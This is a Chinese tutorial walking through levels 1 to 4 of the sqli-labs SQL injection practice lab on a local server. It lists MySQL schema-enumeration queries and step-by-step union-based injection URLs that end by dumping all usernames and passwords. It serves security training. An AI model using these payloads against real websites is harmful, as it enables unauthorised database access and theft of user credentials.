首先介绍几个mysql的基本语句,在闯关的时候可以用到
1.查库语句 select schema_name from information_schema.schemata
2.查表语句 select table_name from information_schema.tables where table_schema='security'
3.查列语句 select column_name from information_schema.columns where table_name='users'
4.查字段语句 select username,password from security.users
由于前四关很相似所以先写前四关的教程步骤
第一关
首先在第一关的配置文件中添加
echo $sql;
echo "<br>";
这样可以在页面上显示sql语句(在每一关闯关的时候都记得修改配置文件,以后就不再提醒了)
配置好之后我们打开phpstudy,在火狐浏览器中打开sql的第一关。
闯关步骤如下
- 1. http://127.0.0.1/sqli/Less-1/?id=1' 查看是否有注入
- 2. http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+ 查看有多少列
- 3. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+ 查看哪些数据可以回显
- 4. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+ 查看当前数据库
- 5. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 查看数据库security,或者是: http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
- 6. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的表(此处需要将security变成16进制数字)
- 7. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
- 8. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+ 查询一个账号和密码,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。
按照上述步骤最后得到所有的用户名和密码。
函数contact ws('~',A,B)的意思是一个用户名一个密码的显示,中间以波浪号隔开。
第二关
第二关和第一关相似
闯关步骤如下:
- 1. http://127.0.0.1/sqli/Less-2/?id=1' 查看是否有注入
- 2. http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+ 查看有多少列
- 3. http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,3--+ 查看哪些数据可以回显
- 4. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
- 5. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
- 6. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
- 7. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。
第三关
- 1. http://127.0.0.1/sqli/Less-3/?id=1' 查看是否有注入
- 2. http://127.0.0.1/sqli/Less-3/?id=1') order by 3--+ 查看有多少列
- 3. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
- 6. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
- 7. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
- 8. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。
第四关
- 1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
- 2. http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+查看有多少列
- 3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
- 6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
- 7. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
- 8. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。